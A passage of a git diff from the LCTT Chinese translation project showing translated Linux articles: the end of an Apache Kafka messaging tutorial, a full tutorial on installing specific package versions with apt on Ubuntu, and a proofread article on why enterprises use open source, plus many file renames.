`abc-dashboard`。当收到消息后,它会立即显示来自客车的详细位置信息。我们本该配置这些详细位置信息,但简单起见,它们也是在代码里硬编码的: + +``` +public static void main(String[] args) { + String broker = “127.0.0.1:9092”; + String groupId = “abc-dashboard”; + Properties props = new Properties(); + props.setProperty(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, broker); + props.setProperty(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, + StringDeserializer.class.getName()); + props.setProperty(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, + StringDeserializer.class.getName()); + props.setProperty(ConsumerConfig.GROUP_ID_CONFIG, groupId); + + @SuppressWarnings(“resource”) + Consumer consumer = new KafkaConsumer(props); + consumer.subscribe(Arrays.asList(“abc-bus-location”)); + while (true) { + ConsumerRecords records + = consumer.poll(Duration.ofMillis(1000)); + + for (ConsumerRecord record : records) { + String topic = record.topic(); + int partition = record.partition(); + String key = record.key(); + String value = record.value(); + System.out.println(String.format( + “Topic=%s, Partition=%d, Key=%s, Value=%s”, + topic, partition, key, value)); + } + } +} +``` + +##### 依赖 + +为了编译和运行这些代码,我们需要 JDK 8 及以上版本。看到下面的 `pom.xml` 文件中的 Maven 依赖了吗?它们会把所需的 Kafka 客户端库下载并添加到类路径中: + +``` + + org.apache.kafka + kafka-clients + 2.8.0 + + + org.slf4j + slf4j-simple + 1.7.25 + +``` + +#### 部署 + +由于 `abc-bus-location` 主题在创建时指定了 3 个分区,我们自然就会想要运行 3 个消费者,来让读取位置更新的过程更快一些。为此,我们需要同时在 3 个不同的终端中运行仪表盘。因为所有这 3 个仪表盘都注册在同一个组 ID 下,它们自然就构成了一个消费者组。Kafka 会为每个仪表盘都分配一个特定的分区(来消费)。 + +当所有仪表盘实例都运行起来后,在另一个终端中启动 `Fleet` 类。图 6、7、8 展示了仪表盘终端中的控制台示例输出。 + +![图 6:仪表盘终端之一][7] + +仔细看看控制台消息,我们会发现第一个、第二个和第三个终端中的消费者,正在分别从 `partition-2`、`partition-1` 和 `partition-0` 中读取消息。另外,我们还能发现,消息键为 `BLRHBL002`、`BLRHBL004` 和 `BLRHBL006` 的消息写入了 `partition-2`,消息键为 `BLRHBL005` 的消息写入了 `partition-1`,剩下的消息写入了 `partition-0`。 + +![图 7:仪表盘终端之二][8] + +使用 Kafka 的好处在于,只要集群设计得当,它就可以水平扩展,从而支持大量客车和数百万条消息。 + +![图 8:仪表盘终端之三][9] + +### 不止是消息 + +根据 Kafka 官网上的数据,在《财富》100 强企业中,超过 80% 都在使用 Kafka。它部署在许多垂直行业,如金融服务、娱乐等。虽然 Kafka 起初只是一种简单的消息服务,但它已凭借行业级的流处理能力,成为了大数据生态系统的一环。对于那些喜欢托管解决方案的企业,Confluent 提供了基于云的 Kafka 服务,只需支付订阅费即可。(LCTT 译注:Confluent 是一个基于 Kafka 的商业公司,它提供的 Confluent Kafka 在 Apache Kafka 的基础上,增加了许多企业级特性,被认为是“更完整的 Kafka”。) + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2021/11/apache-kafka-asynchronous-messaging-for-seamless-systems/ + +作者:[Krishna Mohan Koyya][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/krishna-mohan-koyya/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Digital-backgrund-connecting-in-globe.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-1-Asynchronous-messaging.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-2-Message-distribution-among-the-partitions.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-3-Command-line-producer.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-4-Command-line-consumer.jpg +[5a]: https://kafka.apache.org/downloads +[6]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-5-Kafka-based-architecture.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-6-Dashboard-Terminal-1.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-7-Dashboard-Terminal-2.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-8-Dashboard-Terminal-3.jpg diff --git a/published/20220510 6 easy ways to make your first open source contribution with LibreOffice.md b/published/202206/20220510 6 easy ways to make your first open source contribution with LibreOffice.md similarity index 100% rename from published/20220510 6 easy ways to make your first open source contribution with LibreOffice.md rename to published/202206/20220510 6 easy ways to make your first open source contribution with LibreOffice.md diff --git a/published/20220514 Hidden Features! 25 Fun Things You Can Do With DuckDuckGo Search Engine.md b/published/202206/20220514 Hidden Features! 25 Fun Things You Can Do With DuckDuckGo Search Engine.md similarity index 100% rename from published/20220514 Hidden Features! 25 Fun Things You Can Do With DuckDuckGo Search Engine.md rename to published/202206/20220514 Hidden Features! 25 Fun Things You Can Do With DuckDuckGo Search Engine.md diff --git a/published/20220516 How to Dual Boot Ubuntu 22.04 LTS and Windows 11.md b/published/202206/20220516 How to Dual Boot Ubuntu 22.04 LTS and Windows 11.md similarity index 100% rename from published/20220516 How to Dual Boot Ubuntu 22.04 LTS and Windows 11.md rename to published/202206/20220516 How to Dual Boot Ubuntu 22.04 LTS and Windows 11.md diff --git a/published/20220518 How To Boot Into Rescue Mode Or Emergency Mode In Ubuntu 22.04 - 20.04 - 18.04.md b/published/202206/20220518 How To Boot Into Rescue Mode Or Emergency Mode In Ubuntu 22.04 - 20.04 - 18.04.md similarity index 100% rename from published/20220518 How To Boot Into Rescue Mode Or Emergency Mode In Ubuntu 22.04 - 20.04 - 18.04.md rename to published/202206/20220518 How To Boot Into Rescue Mode Or Emergency Mode In Ubuntu 22.04 - 20.04 - 18.04.md diff --git a/published/202206/20220518 Install Specific Package Version With Apt Command in Ubuntu.md b/published/202206/20220518 Install Specific Package Version With Apt Command in Ubuntu.md new file mode 100644 index 0000000000..3fd0736890 --- /dev/null +++ b/published/202206/20220518 Install Specific Package Version With Apt Command in Ubuntu.md @@ -0,0 +1,193 @@ +[#]: subject: "Install Specific Package Version With Apt Command in Ubuntu" +[#]: via: "https://itsfoss.com/apt-install-specific-version-2/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14760-1.html" + +如何在 Ubuntu 中安装具体指定的软件包版本 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/26/145335zcrpducpup4p2ugy.jpg) + +在 Ubuntu 中想安装一个软件包的一个特别指定的版本?你可以通过下面的方式来轻松地完成: + +``` +sudo apt install package_name=package_version +``` + +你如何知道某个软件包有哪些可用的版本?可以使用这个命令: + +``` +apt list --all-versions package_name +``` + +在下面的屏幕截屏中,你可以看到,我有两个可用的 VLC 版本,我使用命令来安装较旧的版本: + +![install specific versions apt ubuntu][1] + +听起来像一个简单的任务,对吧?但是事情并非看起来那么简单。这里有一些不确定是否会出现,但是可能会涉及的东西。 + +这篇教程将涵盖使用 `apt` 或 `apt-get` 命令来安装一个具体指定的程序的版本的所有的重要的方面。 + +### 安装一个具体指定版本的程序需要知道的事 + +在基于 Ubuntu 和 Debian 发行版中,你需要知道一些关于 APT 和存储库是如何工作的知识。 + +#### 同一个软件包源没有较旧的版本 + +Ubuntu 在其存储库中不保留较旧版本的软件包。在特殊的情况下,你可以暂时性地看到多个版本。例如,你运行 APT 更新(但不升级)时,可能会有一个可用的新版本。在 APT 缓存中,你可以看到同一个软件包的两个版本。但是,一旦软件包被升级到了新的版本,较旧版本的软件包将从 **APT 缓存** 和存储库中移除。 + +#### 使用多个软件包源来使用不同的版本 + +为获取同一个的软件包的多个版本,你必须得添加多个软件包源。例如,VLC 是版本 3.x 系列。添加 [VLC 每日构建 PPA][2] 将会提供(不稳定的)版本 4.x 系列。 + +同样,**你可以下载不同版本的 DEB 文件,并安装它**。 + +#### 较高版本编号的版本通常有优先权 + +如果你有来自多个软件包源的相同名称的软件,默认情况下,Ubuntu 将安装可用的最高版本编号的版本。 + +在前面的示例中,如果我安装 VLC ,那么它将会安装 4.x 系列的版本,而不是 3.x 系列的版本。 + +#### 较旧版本将升级到可用的较新版本 + +这是另外一个可能存在的问题。即使你安装较旧版本的软件包,它也会升级到较新的版本(如果存在可用的较新版本)。你必须 [保留该软件包来防止其升级][3] 。 + +#### 依赖关系也需要安装 + +如果软件包有依赖关系,你也需要安装必要的依赖关系软件包。 + +现在,你已经知道一些可能存在的问题,让我们看看如何解决它们。 + +### 安装一个软件包的具体指定版本 + +在这篇教程中,我将以 VLC 为例。在 Ubuntu 的存储库中可获得 VLC 版本。我添加了每日构建 PPA ,它将向我提供 VLC 的 4.0 版本的候选版本。 + +如你所见,在现在的系统中,我有两个可用的 VLC 版本: + +![install specific versions apt ubuntu][4] + +``` +~$ apt list -a vlc +Listing... Done +vlc/jammy 4.0.0~rc1~~git20220516+r92284+296~ubuntu22.04.1 amd64 +vlc/jammy 3.0.16-1build7 amd64 +vlc/jammy 3.0.16-1build7 i386 +``` + +因为较高版本编号版本有优先权,使用 `apt install vlc` 命令将会导致安装 VLC 的 4.0 版本。但是,因为这篇教程的缘由,我想安装较旧的版本 3.0.16 。 + +``` +sudo apt install vlc=3.0.16-1build7 +``` + +但是,这里会有这样的事。VLC 软件包有一些依赖关系,并且这些依赖关系也需要具体指定的版本。因此,在 Ubuntu 为其尝试安装最新的版本时,你将会遇到经典的 [你已保留残缺软件包][5]you have held broken packages 错误。 + +![problem installing specific version apt ubuntu][6] + +为修复这个错误,你需要为其提供它所投诉的所有依赖关系的软件包的具体指定版本。因此,该命令会变成这样: + +``` +sudo apt install vlc=3.0.16-1build7 \ + vlc-bin=3.0.16-1build7 \ + vlc-plugin-base=3.0.16-1build7 \ + vlc-plugin-qt=3.0.16-1build7 \ + vlc-plugin-video-output=3.0.16-1build7 \ + vlc-l10n=3.0.16-1build7 \ + vlc-plugin-access-extra=3.0.16-1build7 \ + vlc-plugin-notify=3.0.16-1build7 \ + vlc-plugin-samba=3.0.16-1build7 \ + vlc-plugin-skins2=3.0.16-1build7 \ + vlc-plugin-video-splitter=3.0.16-1build7 \ + vlc-plugin-visualization=3.0.16-1build7 +``` + +说明一下,每行结尾处的 `\` 只是用来将多行命令来写入同一个命令的一种方式。 + +**它有作用吗?在很多情况下,它是有作用的。** 但是,我选择了一个复杂的 VLC 示例,它有很多依赖关系。甚至这些所涉及的依赖关系也依赖于其它的软件包。所以,它就变得令人难以处理。 + +一种替代的方法是在安装时指定软件包源。 + +#### 替代方式,指定存储库 + +你已经添加多个软件包源,因此,你应该对这些软件包的来源有一些了解。 + +使用下面的命令来搜索存储库: + +``` +apt-cache policy | less +``` + +注意存储库名称后面的行: + +``` +500 http://security.ubuntu.com/ubuntu jammy-security/multiverse i386 Packages + release v=22.04,o=Ubuntu,a=jammy-security,n=jammy,l=Ubuntu,c=multiverse,b=i386 + origin security.ubuntu.com +``` + +你可以具体指定 `o`、`l`、`a` 等参数。 + +在我原来的示例中,我想安装来自 Ubuntu 存储库的 VLC(获取版本 3.16),而不是安装来 PPA 的版本(它将向我提供版本 4)。 + +因此,下面的命令将安装 VLC 版本 3.16 及其所有的依赖关系: + +``` +sudo apt install -t "o=ubuntu" vlc +``` + +![install from repository source][7] + +看起来令人满意?但是,当你必须更新系统时,问题就来了。它接下来会控诉找不到指定的软件包版本。 + +**还能做什么?** + +为安装较旧的软件包版本,从你的系统中移除较新版本的软件包源(如果可能的话)。它将有助于逃脱这些依赖关系地狱。 + +如果不能这么做,检查你是否可以从其它一些软件包的打包格式来获取,像 Snap、Flatpak、AppImage 等等。事实上,Snap 和 Flatpak 也允许你从可用的版本中选择和安装。因为这些应用程序是沙盒模式的,所以它很容易管理不同版本的依赖关系。 + +#### 保留软件包,防止升级 + +如果你完成安装一个指定的程序版本,你可能想避免意外地升级到较新的版本。实现这一点并不太复杂。 + +``` +sudo apt-mark hold package_name +``` + +你可以免除保留软件包,以便它能稍后升级: + +``` +sudo apt-mark unhold package_name +``` + +注意,软件包的依赖关系不会自动地保留。它们需要单独地指明。 + +### 结论 + +如你所见,安装选定软件包版本有一定之规。只有当软件包有依赖关系时,那么事情就会变得复杂,然后,你就会进入依赖关系地狱。 + +我希望你在这篇教程中学到一些新的东西。如果你有问题或建议来改善它,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-install-specific-version-2/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/05/install-specific-versions-apt-ubuntu.png +[2]: https://launchpad.net/~videolan/+archive/ubuntu/master-daily +[3]: https://itsfoss.com/prevent-package-update-ubuntu/ +[4]: https://itsfoss.com/wp-content/uploads/2022/05/install-specific-versions-apt-ubuntu.png +[5]: https://itsfoss.com/held-broken-packages-error/ +[6]: https://itsfoss.com/wp-content/uploads/2022/05/problem-installing-specific-version-apt-ubuntu-800x365.png +[7]: https://itsfoss.com/wp-content/uploads/2022/05/install-from-repository-source-800x578.png diff --git a/published/20220519 Use this open source screen reader on Windows.md b/published/202206/20220519 Use this open source screen reader on Windows.md similarity index 100% rename from published/20220519 Use this open source screen reader on Windows.md rename to published/202206/20220519 Use this open source screen reader on Windows.md diff --git a/published/20220523 7 pieces of Linux advice for beginners.md b/published/202206/20220523 7 pieces of Linux advice for beginners.md similarity index 100% rename from published/20220523 7 pieces of Linux advice for beginners.md rename to published/202206/20220523 7 pieces of Linux advice for beginners.md diff --git a/published/20220524 Collision- Linux App to Verify ISO and Other Files.md b/published/202206/20220524 Collision- Linux App to Verify ISO and Other Files.md similarity index 100% rename from published/20220524 Collision- Linux App to Verify ISO and Other Files.md rename to published/202206/20220524 Collision- Linux App to Verify ISO and Other Files.md diff --git a/published/20220524 How to Install KVM on Ubuntu 22.04 -Jammy Jellyfish-.md b/published/202206/20220524 How to Install KVM on Ubuntu 22.04 -Jammy Jellyfish-.md similarity index 100% rename from published/20220524 How to Install KVM on Ubuntu 22.04 -Jammy Jellyfish-.md rename to published/202206/20220524 How to Install KVM on Ubuntu 22.04 -Jammy Jellyfish-.md diff --git a/published/20220525 Machine Learning- Classification Using Python.md b/published/202206/20220525 Machine Learning- Classification Using Python.md similarity index 100% rename from published/20220525 Machine Learning- Classification Using Python.md rename to published/202206/20220525 Machine Learning- Classification Using Python.md diff --git a/published/20220525 Package is -set to manually installed-- What does it Mean-.md b/published/202206/20220525 Package is -set to manually installed-- What does it Mean-.md similarity index 100% rename from published/20220525 Package is -set to manually installed-- What does it Mean-.md rename to published/202206/20220525 Package is -set to manually installed-- What does it Mean-.md diff --git a/published/20220527 TypeScript Based Headless CMS -Payload- Becomes Open Source.md b/published/202206/20220527 TypeScript Based Headless CMS -Payload- Becomes Open Source.md similarity index 100% rename from published/20220527 TypeScript Based Headless CMS -Payload- Becomes Open Source.md rename to published/202206/20220527 TypeScript Based Headless CMS -Payload- Becomes Open Source.md diff --git a/published/20220529 Compile GNOME Shell and Apps From Source [Beginner-s Guide].md b/published/202206/20220529 Compile GNOME Shell and Apps From Source [Beginner-s Guide].md similarity index 100% rename from published/20220529 Compile GNOME Shell and Apps From Source [Beginner-s Guide].md rename to published/202206/20220529 Compile GNOME Shell and Apps From Source [Beginner-s Guide].md diff --git a/published/20220530 Dynamically linking libraries while compiling code.md b/published/202206/20220530 Dynamically linking libraries while compiling code.md similarity index 100% rename from published/20220530 Dynamically linking libraries while compiling code.md rename to published/202206/20220530 Dynamically linking libraries while compiling code.md diff --git a/published/20220530 Using a Machine Learning Model to Make Predictions.md b/published/202206/20220530 Using a Machine Learning Model to Make Predictions.md similarity index 100% rename from published/20220530 Using a Machine Learning Model to Make Predictions.md rename to published/202206/20220530 Using a Machine Learning Model to Make Predictions.md diff --git a/published/20220601 GNOME Shell for Mobile- A Promising Start with Huge Expectations [Opinion].md b/published/202206/20220601 GNOME Shell for Mobile- A Promising Start with Huge Expectations [Opinion].md similarity index 100% rename from published/20220601 GNOME Shell for Mobile- A Promising Start with Huge Expectations [Opinion].md rename to published/202206/20220601 GNOME Shell for Mobile- A Promising Start with Huge Expectations [Opinion].md diff --git a/published/20220601 How to Create Local Yum-DNF Repository on RHEL 9.md b/published/202206/20220601 How to Create Local Yum-DNF Repository on RHEL 9.md similarity index 100% rename from published/20220601 How to Create Local Yum-DNF Repository on RHEL 9.md rename to published/202206/20220601 How to Create Local Yum-DNF Repository on RHEL 9.md diff --git a/published/20220601 Linux Lite 6.0 Ditches Firefox to Favor Google Chrome as the Default Browser.md b/published/202206/20220601 Linux Lite 6.0 Ditches Firefox to Favor Google Chrome as the Default Browser.md similarity index 100% rename from published/20220601 Linux Lite 6.0 Ditches Firefox to Favor Google Chrome as the Default Browser.md rename to published/202206/20220601 Linux Lite 6.0 Ditches Firefox to Favor Google Chrome as the Default Browser.md diff --git a/published/20220601 de-Googled -e-OS v1 Released Along with a New Brand -Murena- for Smartphone and Cloud Services.md b/published/202206/20220601 de-Googled -e-OS v1 Released Along with a New Brand -Murena- for Smartphone and Cloud Services.md similarity index 100% rename from published/20220601 de-Googled -e-OS v1 Released Along with a New Brand -Murena- for Smartphone and Cloud Services.md rename to published/202206/20220601 de-Googled -e-OS v1 Released Along with a New Brand -Murena- for Smartphone and Cloud Services.md diff --git a/published/20220602 Linux Mint to Maintain Timeshift Backup Tool as an XApp.md b/published/202206/20220602 Linux Mint to Maintain Timeshift Backup Tool as an XApp.md similarity index 100% rename from published/20220602 Linux Mint to Maintain Timeshift Backup Tool as an XApp.md rename to published/202206/20220602 Linux Mint to Maintain Timeshift Backup Tool as an XApp.md diff --git a/translated/talk/20220602 Why Do Enterprises Use and Contribute to Open Source Software.md b/published/202206/20220602 Why Do Enterprises Use and Contribute to Open Source Software.md similarity index 50% rename from translated/talk/20220602 Why Do Enterprises Use and Contribute to Open Source Software.md rename to published/202206/20220602 Why Do Enterprises Use and Contribute to Open Source Software.md index 4a429461a0..e0feb992ca 100644 --- a/translated/talk/20220602 Why Do Enterprises Use and Contribute to Open Source Software.md +++ b/published/202206/20220602 Why Do Enterprises Use and Contribute to Open Source Software.md @@ -3,27 +3,32 @@ [#]: author: "Dan Whiting https://www.linuxfoundation.org/blog/why-do-enterprises-use-and-contribute-to-open-source-software/" [#]: collector: "lkxed" [#]: translator: "aREversez" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14725-1.html" 企业为何使用开源软件,又为何推动开源软件的发展 ====== -每当人们知道我在 Linux 基金会Linux Foundation 工作,他们总是会问我们的工作具体是做什么的。有时候,他们会一直问我是不是开发 Linux 操作系统的。我只能回答说,我们做的是开源软件,并试图在他们失去兴趣之前,将对世界的重大影响赌在短短的 20 秒上。如果他们的兴趣还在,想要进一步了解,我就会给他们深入分析一番:企业为何想参与到开源软件项目之中?它们为何会使用开源软件?没错,企业确实会这样做,无论它们有没有意识到这一点。此外,成千上万的企业会将企业内部代码捐给开源项目,为推动开源软件的进一步开发和优化投入大量的时间和资源。 + +![](https://img.linux.net.cn/data/attachment/album/202206/18/160635ejcmee273zmmxh72.jpg) + +每当人们知道我在 Linux 基金会Linux Foundation 工作,他们总是会问我们的工作具体是做什么的。有时候,他们会一直问我是不是开发 Linux 操作系统的。我只能回答说,我们做的是开源软件,并试图在他们失去兴趣之前,在短短的 20 秒钟内介绍它对世界的影响力。如果他们的兴趣还在,想要进一步了解,我就会给他们深入分析一番:企业为何想参与到开源软件项目之中?它们为何会使用开源软件?没错,企业确实会这样做,无论它们有没有意识到这一点。此外,成千上万的企业会将企业内部代码捐给开源项目,为推动开源软件的进一步开发和优化投入大量的时间和资源。 ### 开源软件的使用范围有多广 -引用我们基金会最近发表的一项报告 《企业开源指南》A Guide to Enterprise Open Source,“开源软件open source software(OSS)改变了世界,是数字经济的支柱,数字世界的基石。从我们日常使用的互联网和移动应用到开拓未来的操作系统和程序语言,开源软件无不发挥着重要的作用,可谓是科技行业的命脉。在今天,开源软件驱动数字经济发展,推进科学技术取得突破,不断改善人们的生活水平。手机、汽车和飞机等设备,家庭、企业和政府等群体都在使用着开源软件。但就在 20 年前,开源软件还仅仅为少数人所知,为少数热心爱好者们组成的群体所用。” +引用我们最近发表的一项报告《企业开源指南A Guide to Enterprise Open Source》:“开源软件open source software(OSS)改变了世界,是数字经济的支柱,数字世界的基石。从我们日常使用的互联网和移动应用到开拓未来的操作系统和编程语言,开源软件无不发挥着重要的作用,可谓是科技行业的命脉。在今天,开源软件驱动数字经济发展,推进科学技术取得突破,不断改善人们的生活水平。手机、汽车和飞机等设备,家庭、企业和政府等群体都在使用着开源软件。但就在 20 年前,开源软件还仅仅为少数人所知,它的使用也仅限于一小部分专门的爱好者。” -如今,情况可大不相同了: +开源软件(OSS)已经改变了我们的世界,成为我们数字经济的支柱和数字世界的基础。 -* 在各行业的 垂类软件栈vertical software stacks 中,开源软件的占比达到了 20%-85%。 +而它实际上: + +* 在各行业的 垂类软件栈vertical software stacks 中,开源软件的占比达到了 20% - 85%。 * 超过 90% 的网站服务器和联网设备都依靠 Linux 来运行。 * 安卓手机系统也是基于 Linux 内核。 * 用于应用程序开发的 AMP、Appium、Dojo、jQuery、Marko、Node.js 等 [主流的库和工具][1] 均属于开源项目。 * 世界上排名位列前 100 名的超级计算机都在使用 Linux。 * 大型机客户均在使用 Linux。 -* AWS、Google 以及 Microsoft 三大云服务供应商都在使用开源软件运行服务,策划并在云端发起开源解决方案。 +* 亚马逊、谷歌以及微软三大云服务供应商都在使用开源软件运行服务,并在云端托管开源解决方案。 ### 企业为何想参与到开源软件项目之中 @@ -35,7 +40,7 @@ 人们经常会问,为什么这些企业愿意放弃自家软件的所有权?为什么它们不让员工专攻自家软件的开发呢? -从整体上来看,这一问题的答案就是,企业和组织聚集起来,合力解决共同的难题,如此一来,他们就可以各自专注于在这基础上的各类难题。这些企业明白,将资源聚集在一起,能够更好地解决基础问题。有时,这种现象被叫做“竞合”,大概的意思是企业在一些领域可能互为竞争对手,但是它们在另一些领域则会互相合作。 +从整体上来看,这一问题的答案就是,企业和组织聚集起来,合力解决共同的难题,如此一来,他们就可以各自专注于在这基础上的各类难题。这些企业明白,将资源聚集在一起,能够更好地解决基础问题。有时,这种现象被叫做“竞合coopetition”,大概的意思是企业在一些领域可能互为竞争对手,但是它们在另一些领域则会互相合作。 “竞合”现象的一些典型例子: @@ -45,25 +50,19 @@ 如今,企业、组织以及个体在合力解决难题的同时,也在不断地改进自身的产品与业务。 -[来此加密Let’s Encrypt][2] 是一个免费开放的自动化证书颁发机构,旨在通过简化安装程序,减低安装费用,快速扩大安全网络协议的应用范围。该机构为超过 2.25 亿个网站提供服务,每天平均发放证书约 150 万张。 +* [来此加密][2]Let’s Encrypt(LCTT译注:Let’s Encrypt 官网并没有用“来此加密”这样的称呼,但是在一些场合有这样的译名。我们认为此翻译很贴切。) 是一个免费的、开放的自动化证书颁发机构,旨在通过简化安装程序,减低安装费用,快速扩大安全网络协议的应用范围。该机构为超过 2.25 亿个网站提供服务,每天平均发放证书约 150 万张。 +* 好莱坞成立的 [学院软件基金会][3]Academy Software Foundation 通过共同开发软件,推动娱乐、游戏和媒体等产业的增长,为产业发展提供开放标准,在电影行业内 [创造了巨大的价值][4]。 +* 超级账本Hyperledger 基金会管理多个企业级区块链软件项目。众所周知,这些项目 [消耗的能源远比其他解决方案要少][5]。 +* [LF 能源基金会][6]LF Energy 推动 [电网朝着更加模块化、互操作和可拓展的方向发展][7],助力提升可再生能源的利用率。 +* [无人机代码基金会][8]Dronecode 致力于无人机软件的开发,促进企业在无人机领域进一步开拓创新。 +* [开源软件软件安全基金会][9]OpenSSF 聚集了顶尖的科技企业,共同强化开源软件的安全与韧性。 +* [Kubernetes][10] 是 Google 捐赠给 Linux 基金会下属的云原生计算基金会(CNCF)的一个项目,是管理基于云计算软件的首选方案。 -好莱坞成立的 [学院软件基金会Academy Software Foundation][3] 通过共同开发软件,推动娱乐、游戏和媒体等产业的增长,为产业发展提供开放标准,在电影行业内 [创造了巨大的价值][4]。 - -超级账本Hyperledger 基金会发起了多个企业级区块链软件项目。众所周知,这些项目 [消耗的能源远比其他解决方案要少][5]。 - -[LF Energy 基金会][6] 推动 [电网朝着更加模块化、互操作和可拓展的方向发展][7],助力提升可再生能源的利用率。 - -[Dronecode 基金会][8] 致力于无人机软件的开发,促进企业在无人机领域进一步开拓创新。 - -[开源软件软件安全基金会OpenSSF][9] 聚集了顶尖的科技企业,共同强化开源软件的安全与韧性。 - -[Kubernetes][10] 是 Google 捐赠给 Linux 基金会下属的云原生计算基金会(CNCF)的一个项目,是管理基于云计算软件的首选方案。 - -上述只是企业参与的一小部分开源软件项目,点击[此处][11],在 Linux 基金会官网浏览全部项目列表。 +上述只是企业参与的一小部分开源软件项目,点击 [此处][11],可以在 Linux 基金会官网浏览全部项目列表。 ### 企业如何有效利用和参与开源软件项目? -若想要更好地利用开源项目,更有效地参与开源项目,企业可以向 Linux 基金会寻求帮助。我们最新发布的报告 [《企业开源指南》][12] 提供了企业与组织需要了解的大部分信息。这份报告凝聚了来自多家顶级企业、具有几十年丰富经验的开源领袖的知识与智慧,报告主要分为以下六个章节: +若想要更好地利用开源项目,更有效地参与开源项目,企业可以向 Linux 基金会寻求帮助。我们最新发布的报告 《[企业开源指南][12]》 提供了企业与组织需要了解的大部分信息。这份报告凝聚了来自多家顶级企业、具有几十年丰富经验的开源领袖的知识与智慧,报告主要分为以下六个章节: * 使用开源软件 * 准备参与开源 @@ -74,19 +73,16 @@ 此外,Linux 基金会还提供了许多开源 [培训课程][13]、全年 [活动][14]、[LFX 平台][15],发起开源项目,协助企业与组织利用和参与开源项目,比如: -[TODO 工作组][16] 为开源项目办公室的建立和运作提供资源,包括其自身 [丰富的指导意见][17]。 +* [TODO 工作组][16] 为开源项目办公室的建立和运作提供资源,包括其自身 [丰富的指导意见][17]。 +* [Openchain 项目][18] 旨在提供和维护国际开源许可标准,包括各种许可规定的相关信息。依赖于此,企业可以确保自身行为符合法律规定。 +* [FinOps 基金会][19] 目前正在将自身打造为“不断发展的云财务管理和文化实践平台,通过促进工程、财务、技术以及商业团队之间在数据驱动支出决策方面的合作,确保企业能够最大化实现商业价值”。 +* [软件数据包交换标准][20]Software Data Package Exchange(SPDX)是一个用于交流 软件物料清单software bill of materials(SBOM)的开放标准。在该标准下,每个用户都能清楚了解整个软件包中包括哪些软件。 -[Openchain 项目][18] 旨在提供和维护国际开源许可标准,包括各种许可规定的相关信息。依赖于此,企业可以确保自身行为符合法律规定。 - -[FinOps 基金会][19] 目前正在将自身打造为“不断发展的云财务管理和文化实践平台,通过促进工程、财务、技术以及商业团队之间在数据驱动支出决策方面的合作,确保企业能够最大化实现商业价值”。 - -[Software Data Package Exchange (SPDX)][20] 是一个用于交流 软件构成清单software bill of materials(SBOMs)的开放标准。在该标准下,每个用户都能清楚了解整个软件包中包括哪些软件。 - -重复一遍,上述这些只是 Linux 基金会所有项目中的一小部分。所有这些项目都致力于帮助企业接受和使用开源项目,引导企业为开源项目做出贡献、提供捐赠。 +同样,上述这些只是 Linux 基金会所有项目中的一小部分。所有这些项目都致力于帮助企业接受和使用开源项目,引导企业为开源项目做出贡献、提供捐赠。 总而言之,目前,企业正在迅速投向开源软件项目,借此解决共同的难题,并探索进一步的创新发展,而 Linux 基金会将为它们提供帮助。 -该文 [《企业为何使用开源软件,又为何推动开源软件的发展》][21] 首发于 [Linux 基金会][22] 官网。 +*该文 [《企业为何使用开源软件,又为何推动开源软件的发展》][21] 首发于 [Linux 基金会][22] 官网。* -------------------------------------------------------------------------------- @@ -95,7 +91,7 @@ via: https://www.linux.com/news/why-do-enterprises-use-and-contribute-to-open-so 作者:[Dan Whiting][a] 选题:[lkxed][b] 译者:[aREversez](https://github.com/aREversez) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/20220603 How to Install FFmpeg in Ubuntu and Other Linux.md b/published/202206/20220603 How to Install FFmpeg in Ubuntu and Other Linux.md similarity index 100% rename from published/20220603 How to Install FFmpeg in Ubuntu and Other Linux.md rename to published/202206/20220603 How to Install FFmpeg in Ubuntu and Other Linux.md diff --git a/published/20220605 Contribute at the Fedora Linux 37 Test Week for Kernel 5.18.md b/published/202206/20220605 Contribute at the Fedora Linux 37 Test Week for Kernel 5.18.md similarity index 100% rename from published/20220605 Contribute at the Fedora Linux 37 Test Week for Kernel 5.18.md rename to published/202206/20220605 Contribute at the Fedora Linux 37 Test Week for Kernel 5.18.md diff --git a/published/20220606 6 Linux word processors you need to try.md b/published/202206/20220606 6 Linux word processors you need to try.md similarity index 100% rename from published/20220606 6 Linux word processors you need to try.md rename to published/202206/20220606 6 Linux word processors you need to try.md diff --git a/published/20220606 Amberol is a Stunning Looking Music Player for Linux That Just Plays Music and Nothing Else.md b/published/202206/20220606 Amberol is a Stunning Looking Music Player for Linux That Just Plays Music and Nothing Else.md similarity index 100% rename from published/20220606 Amberol is a 